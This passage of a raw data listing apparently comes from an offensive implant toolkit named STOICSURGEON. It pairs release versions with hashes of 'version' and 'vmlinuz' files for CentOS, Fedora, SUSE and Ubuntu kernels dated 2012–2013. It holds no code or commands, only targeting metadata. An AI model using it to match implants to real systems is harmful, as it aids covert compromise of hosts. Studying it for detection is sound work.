11 2013 +1.7.49.3 share export STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 share export STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 share export STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 share export STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 share export STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 share export STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 share export STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 share export STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 share export STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 share export STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 share export STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 share export STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 share export STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 share export STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 share export STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 share export STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 share export STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 share export STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 share export STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 share export STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 share export STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 share export STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 share export STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 share export STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 share export STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 share export STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 share export STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 7c9e4ddf11f77cfddce5a59465f4da7b version STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 e911a17bbf9d5dc4f6aa9843e11f0ecd vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 03784ea72b19f37ec9271772b2054347 version STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 86ea3690fc1a3bf133a0a4da896eb630 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 8bff8aa088f3cfc427b21f0b21267947 version STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 68c216c45dfa4a901d8741ede0dcd08c vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 e688cfbce4abd01c9b1179a72770c2b3 version STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 2dedd4a0ef2d5d25a976f78d5d80dd6a vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 55da14c89d82adcaaabfe538153339b4 version STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 03925fdf7815d23ceb4849a4c73eac8f vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 c753e8a8ddd698f6803d1b5bed5b42fb version STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 17902155b768ae790d3b1eeaf621a3f6 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 d07f13d58acc1bda53538445512433d3 version STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 c83eb3c131c6ac45e68a93faf45a71b2 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 36f7e538e45fc4db9bba17a31bf74749 version STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 8e48898b9af91e47a135b559bab65195 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 1d29ed7fc5d9171128123043695c310b version STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 2041f2abd5c184989f08888c9ebe313b vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 5fd96f9fed08bbda57147c627450f4b4 version STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 78704cf7677f3fe4f346347f756cb414 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 c0979a9829afe8ce9ac46c0a4a347826 version STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 a9c2e6db89139619c89767d3711b672a vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 aa776385cee554615102fa766f2976fc version STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 414beb49369d8bbaaf7cfc5f77721fe0 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 991e89c76901efcf4711d197043d2667 version STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 f3e113b688dd255748e2e8722da32279 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 536d7ca1600ab981776152698eff8ced version STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 83f8ebf98cf272795e90697c0526d871 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 f9a737ef5f0a0214e7359e470cd253aa version STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 d7aab77349158d2221d7ac742ec9d347 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 dd127948f13d3049c0d41fb9aa51815c version STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.49.3 74513b03cdcac06d1f22a73c8b3d6ea7 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.8 Mon Feb 11 2013 +1.7.33.4 ccb30e0d16c05490c29f90aa6c15bbab version STOICSURGEON-X86-LINUX-FEDORA8-TARIGH Fri Jul 13 2012 +1.7.33.4 ad45652f25ec9a4c662d04a82dfe4972 vmlinuz STOICSURGEON-X86-LINUX-FEDORA8-TARIGH Fri Jul 13 2012 +1.7.33.4 3eaa94725a1e8c0f80fa88ad853a59a3 version STOICSURGEON-X86-LINUX-FEDORA8-TARIGH Fri Jul 13 2012 +1.7.33.4 43cb9fde54acff9fde8a30ef854f96e2 vmlinuz STOICSURGEON-X86-LINUX-FEDORA8-TARIGH Fri Jul 13 2012 +1.7.33.4 18f526438c35fd70ade9c57de67e86dc version STOICSURGEON-X86-LINUX-FEDORA8-TARIGH Fri Jul 13 2012 +1.7.33.4 f30b31caf260e5d0de2f1e444b72b82d vmlinuz STOICSURGEON-X86-LINUX-FEDORA8-TARIGH Fri Jul 13 2012 +1.7.33.4 c0f47eef8232c60b37f9698085176bc6 version STOICSURGEON-X86-LINUX-FEDORA8-TARIGH Fri Jul 13 2012 +1.7.33.4 164a42768e5bfb5be0daf77ca32c4048 vmlinuz STOICSURGEON-X86-LINUX-FEDORA8-TARIGH Fri Jul 13 2012 +1.7.33.4 34ba6414d054b3a82a3bd0a8babd6321 version STOICSURGEON-X86-LINUX-FEDORA8-TARIGH Fri Jul 13 2012 +1.7.33.4 6c119bc345e54beca64524c0a3a74142 vmlinuz STOICSURGEON-X86-LINUX-FEDORA8-TARIGH Fri Jul 13 2012 +1.7.33.4 e5e54913fcc993bd74d3f63cf3dd1810 version STOICSURGEON-X86-LINUX-FEDORA8-TARIGH Fri Jul 13 2012 +1.7.33.4 68a7480f68d9f6f076fe762fde4fe766 vmlinuz STOICSURGEON-X86-LINUX-FEDORA8-TARIGH Fri Jul 13 2012 +1.7.33.4 de6726743c83bd9a7c4e26e5d221677d version STOICSURGEON-X86-LINUX-FEDORA8-TARIGH Fri Jul 13 2012 +1.7.33.4 afabc82cb83380f61eb5b03b21d83b06 vmlinuz STOICSURGEON-X86-LINUX-FEDORA8-TARIGH Fri Jul 13 2012 +1.7.33.4 126eae672faca92758fcc8169c09132f version STOICSURGEON-X86-LINUX-FEDORA8-TARIGH Fri Jul 13 2012 +1.7.33.4 d407f716ba04eed44257ba884f6fb42a vmlinuz STOICSURGEON-X86-LINUX-FEDORA8-TARIGH Fri Jul 13 2012 +1.7.33.6 a2356071e4094aecefb91b8c184c6eda version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.0 Tue Jul 24 2012 +1.7.33.6 07213e5b3454f4a320790a2c6a53fb11 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.0 Tue Jul 24 2012 +1.7.33.6 33b06b1bfd253b6a0c779ca0dc7da799 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.0 Tue Jul 24 2012 +1.7.33.6 24450526877dc98d717da0c49b96dd0a vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.0 Tue Jul 24 2012 +1.7.33.6 e40253fe52b3ae9eaba0cdab03da0a93 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.0 Tue Jul 24 2012 +1.7.33.6 1e384d48c0336e01f93805c46bec61a7 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.0 Tue Jul 24 2012 +1.7.33.6 06ced70c86ddbfeb47c5054015871a8b version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.0 Tue Jul 24 2012 +1.7.33.6 8a8aad69ed3482c08dd6c7b4f4a95abe vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.0 Tue Jul 24 2012 +1.7.33.6 0308c011935afb99aca13fafc625a037 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.0 Tue Jul 24 2012 +1.7.33.6 4742aa2d8d53d32520e63bcc2a3f232c vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.0 Tue Jul 24 2012 +1.7.33.6 e88d052d2b7a98079253b0b37e7e913a version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.0 Tue Jul 24 2012 +1.7.33.6 29eeac9463b2913818ff625fa9dc9a11 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.0 Tue Jul 24 2012 +1.7.33.6 f035b5b0f8f29d2bd08dc3081e3cbcd9 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.0 Tue Jul 24 2012 +1.7.33.6 572342c6ec0522562a6faa3390afd4c5 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.0 Tue Jul 24 2012 +1.7.33.6 25c43937840b5ba4fa9fb398c383a46b version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.0 Tue Jul 24 2012 +1.7.33.6 5927728b1b531f38039b756b8791dff4 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.0 Tue Jul 24 2012 +1.7.33.6 9ae162db9014814bede310928302bd85 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.0 Tue Jul 24 2012 +1.7.33.6 d0821a2c6b81af13775f235133408c29 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.0 Tue Jul 24 2012 +1.7.33.6 d078431ee3b440e8807fd731be2fd8a1 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.0 Tue Jul 24 2012 +1.7.33.6 d9ae27004210c845944b2ef1a144fb33 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.0 Tue Jul 24 2012 +1.7.33.7 55ba79d56cf9edf6789145a929d649e9 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 eceed405a16d796f578f57ce91db43a0 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 983df88e9fa9c69f8a2707344ba076f0 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 d30e7067e1ad73b3701002b9a6cc6d78 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 4d920b0fc9b88ecfeb2e59974aa8edf5 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 a577a624fbcfa30d437c0566f0d3c226 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 e55ad37e9da6c2006febd7253c956e66 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 e7796dd8c8d4fad120e6bae976ccf93a vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 ae40501acef2c5d4e040e82c27de0701 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 a290cf9ab188b6cca78079f4df1aba90 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 a2356071e4094aecefb91b8c184c6eda version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 2a68a45f4da858ad0ed441efd25c3c85 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 33b06b1bfd253b6a0c779ca0dc7da799 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 e3c448b6d667d7ad8e61f90cf6427898 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 e40253fe52b3ae9eaba0cdab03da0a93 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 398938dae27bc57b28ae8784aebacb2c vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 06ced70c86ddbfeb47c5054015871a8b version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 da5b6658d5e181ac06f347230699293c vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 0308c011935afb99aca13fafc625a037 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 63998e943d1cfb3d1248261309ebc529 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 e88d052d2b7a98079253b0b37e7e913a version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 959a8e650b2b99032f966e02dababd5f vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 f035b5b0f8f29d2bd08dc3081e3cbcd9 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 bc91fc9a3b9ada3e730d5f211ca45555 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 25c43937840b5ba4fa9fb398c383a46b version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 383108ac28f4eedf9fe9f013f7332384 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 9ae162db9014814bede310928302bd85 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 4aa2a18aa2bc581889421ec267e69968 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 d078431ee3b440e8807fd731be2fd8a1 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.7 b46eda2a8f88d6349e871bea0f081097 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.0 Fri Jul 27 2012 +1.7.33.10 a6073003a5cffbbe6a56ab2cd92430c6 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.3 Mon Aug 13 2012 +1.7.33.10 1ee62bb0651dd5c162f1ffa28b956f1a vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.3 Mon Aug 13 2012 +1.7.33.10 0ae89bff05052100b4c87c36bf8983b0 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.3 Mon Aug 13 2012 +1.7.33.10 89b515fd26843202d8e3c01bd3813c78 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.3 Mon Aug 13 2012 +1.7.33.10 f3bedf1862197485e0dac3c1849d59e9 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.3 Mon Aug 13 2012 +1.7.33.10 cc9daee2352487ce3da9705645731710 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.3 Mon Aug 13 2012 +1.7.33.10 61da41979913e1aa68d8539bdae1fa14 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.3 Mon Aug 13 2012 +1.7.33.10 d2ce1277e955b344b1b3136ad801a8c7 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.3 Mon Aug 13 2012 +1.7.33.11 062b71db1c00ab30b2c0cb37c14e254a version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Tue Aug 28 2012 +1.7.33.11 2d1dc6b1347c2bbd798297870cfe4a7d vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Tue Aug 28 2012 +1.7.33.11 45aa6e8bae4f177dedb6fc1f9177ec3d version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Tue Aug 28 2012 +1.7.33.11 82ee82baa90094188aa78c0fbae2eedb vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Tue Aug 28 2012 +1.7.33.11 a6073003a5cffbbe6a56ab2cd92430c6 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Tue Aug 28 2012 +1.7.33.11 d9f61cefc0d6492c1ad0fac28c02f505 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Tue Aug 28 2012 +1.7.33.11 0ae89bff05052100b4c87c36bf8983b0 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Tue Aug 28 2012 +1.7.33.11 50a2c3b3c968c0d9e4f2405fdc23f036 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Tue Aug 28 2012 +1.7.33.11 f3bedf1862197485e0dac3c1849d59e9 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Tue Aug 28 2012 +1.7.33.11 4829ee9eb5bc0561db094636c7a7df9b vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Tue Aug 28 2012 +1.7.33.11 61da41979913e1aa68d8539bdae1fa14 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Tue Aug 28 2012 +1.7.33.11 2c761f93bdb35c36777f7f082f885c63 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Tue Aug 28 2012 +1.7.47.4 share export STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Fri Feb 1 2013 +1.7.47.4 share export STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Fri Feb 1 2013 +1.7.47.4 b498464225ff724adc79f896da93bd9e version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Fri Feb 1 2013 +1.7.47.4 f066cb2a44425b814d3ae7c383a135d5 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Fri Feb 1 2013 +1.7.56.12 share export STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Wed May 1 2013 +1.7.56.12 share export STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Wed May 1 2013 +1.7.56.12 share export STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Wed May 1 2013 +1.7.56.12 share export STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Wed May 1 2013 +1.7.56.12 share export STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Wed May 1 2013 +1.7.56.12 share export STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Wed May 1 2013 +1.7.56.12 share export STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Wed May 1 2013 +1.7.56.12 share export STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Wed May 1 2013 +1.7.56.12 share export STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Wed May 1 2013 +1.7.56.12 share export STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Wed May 1 2013 +1.7.56.12 share export STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Wed May 1 2013 +1.7.56.12 share export STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Wed May 1 2013 +1.7.56.12 share export STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Wed May 1 2013 +1.7.56.12 share export STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Wed May 1 2013 +1.7.56.12 b498464225ff724adc79f896da93bd9e version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Wed May 1 2013 +1.7.56.12 f066cb2a44425b814d3ae7c383a135d5 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Wed May 1 2013 +1.7.56.12 062b71db1c00ab30b2c0cb37c14e254a version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Wed May 1 2013 +1.7.56.12 2d1dc6b1347c2bbd798297870cfe4a7d vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Wed May 1 2013 +1.7.56.12 45aa6e8bae4f177dedb6fc1f9177ec3d version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Wed May 1 2013 +1.7.56.12 82ee82baa90094188aa78c0fbae2eedb vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Wed May 1 2013 +1.7.56.12 a6073003a5cffbbe6a56ab2cd92430c6 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Wed May 1 2013 +1.7.56.12 d9f61cefc0d6492c1ad0fac28c02f505 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Wed May 1 2013 +1.7.56.12 0ae89bff05052100b4c87c36bf8983b0 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Wed May 1 2013 +1.7.56.12 50a2c3b3c968c0d9e4f2405fdc23f036 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Wed May 1 2013 +1.7.56.12 f3bedf1862197485e0dac3c1849d59e9 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Wed May 1 2013 +1.7.56.12 4829ee9eb5bc0561db094636c7a7df9b vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Wed May 1 2013 +1.7.56.12 61da41979913e1aa68d8539bdae1fa14 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Wed May 1 2013 +1.7.56.12 2c761f93bdb35c36777f7f082f885c63 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.3 Wed May 1 2013 +1.7.36.3 62aecdc09fd95c6c1679df68baa08b29 version STOICSURGEON-X86_64-LINUX-UBUNTU-10.04 Mon Oct 1 2012 +1.7.36.3 135737a6c8608631a2cde5a8aad7995c vmlinuz STOICSURGEON-X86_64-LINUX-UBUNTU-10.04 Mon Oct 1 2012 +1.7.36.3 d73933781df1011df3b543fbaaded75c version STOICSURGEON-X86_64-LINUX-UBUNTU-10.04 Mon Oct 1 2012 +1.7.36.3 6567ced745b37bc8dc64b95269e2c90b vmlinuz STOICSURGEON-X86_64-LINUX-UBUNTU-10.04 Mon Oct 1 2012 +1.7.36.3 31a3246a4f8b5f09146d77c741d04ddc version STOICSURGEON-X86_64-LINUX-UBUNTU-10.04 Mon Oct 1 2012 +1.7.36.3 2da143baf6f38f7a12dc11625ab24482 vmlinuz STOICSURGEON-X86_64-LINUX-UBUNTU-10.04 Mon Oct 1 2012 +1.7.36.3 c86acaeb0a6c5bd732348d8cb1065be4 version STOICSURGEON-X86_64-LINUX-UBUNTU-10.04 Mon Oct 1 2012 +1.7.36.3 fa79104c773b0521071a36d7cd1d1f15 vmlinuz STOICSURGEON-X86_64-LINUX-UBUNTU-10.04 Mon Oct 1 2012 +1.7.36.3 5da94ac0a79065466f3514085158fe92 version STOICSURGEON-X86_64-LINUX-UBUNTU-10.04 Mon Oct 1 2012 +1.7.36.3 1829ebab8520706c77f7f8f3ee4023df vmlinuz STOICSURGEON-X86_64-LINUX-UBUNTU-10.04 Mon Oct 1 2012 +1.7.36.3 0131c6360559a67b3de81d2baa7e75d2 version STOICSURGEON-X86_64-LINUX-UBUNTU-10.04 Mon Oct 1 2012 +1.7.36.3 62dad35d5b812c0a77ed4a210c338ed5 vmlinuz STOICSURGEON-X86_64-LINUX-UBUNTU-10.04 Mon Oct 1 2012 +1.7.36.3 f1bf650cf0b0e76cf00dc20094e7d6f1 version STOICSURGEON-X86_64-LINUX-UBUNTU-10.04 Mon Oct 1 2012 +1.7.36.3 a310bf2a6c930c492cd49d515a5bd251 vmlinuz STOICSURGEON-X86_64-LINUX-UBUNTU-10.04 Mon Oct 1 2012 +1.7.36.3 1a54a84fea2700b66a2707cde73b865d version STOICSURGEON-X86_64-LINUX-UBUNTU-10.04 Mon Oct 1 2012 +1.7.36.3 5847e8f66340f9d6d69263a162fc33e9 vmlinuz STOICSURGEON-X86_64-LINUX-UBUNTU-10.04 Mon Oct 1 2012 +1.7.36.3 cf5d80e544467723481fc1a3d298e85f version STOICSURGEON-X86_64-LINUX-UBUNTU-10.04 Mon Oct 1 2012 +1.7.36.3 7a8482ac3809ec99ddbebae943d62d78 vmlinuz STOICSURGEON-X86_64-LINUX-UBUNTU-10.04 Mon Oct 1 2012 +1.7.36.3 4b88df730dcbee65d67cf832b4db837b version STOICSURGEON-X86_64-LINUX-UBUNTU-10.04 Mon Oct 1 2012 +1.7.36.3 fbdea210227ea8245885c2326029810c vmlinuz STOICSURGEON-X86_64-LINUX-UBUNTU-10.04 Mon Oct 1 2012 +1.7.36.3 6f2dd365becad792ffaac3b9f91f1d62 version STOICSURGEON-X86_64-LINUX-UBUNTU-10.04 Mon Oct 1 2012 +1.7.36.3 54a8cd54d510a5708cca31bfeabb1bc1 vmlinuz STOICSURGEON-X86_64-LINUX-UBUNTU-10.04 Mon Oct 1 2012 +1.7.36.3 b6732c9dc7fc4de76b1e72e94c2356b7 version STOICSURGEON-X86_64-LINUX-UBUNTU-10.04 Mon Oct 1 2012 +1.7.36.3 a6402a896e23d7bdbd3bf5a6bcfc3d9a vmlinuz STOICSURGEON-X86_64-LINUX-UBUNTU-10.04 Mon Oct 1 2012 +1.7.36.3 e5a40d8343b567f3ce5d3c47ac7dc420 version STOICSURGEON-X86_64-LINUX-UBUNTU-10.04 Mon Oct 1 2012 +1.7.36.3 bd681eb1e268b38a3d7d49e21e1148d7 vmlinuz STOICSURGEON-X86_64-LINUX-UBUNTU-10.04 Mon Oct 1 2012 +1.7.36.3 dc2d977817dd01b266e3756e61c3c7fa version STOICSURGEON-X86_64-LINUX-UBUNTU-10.04 Mon Oct 1 2012 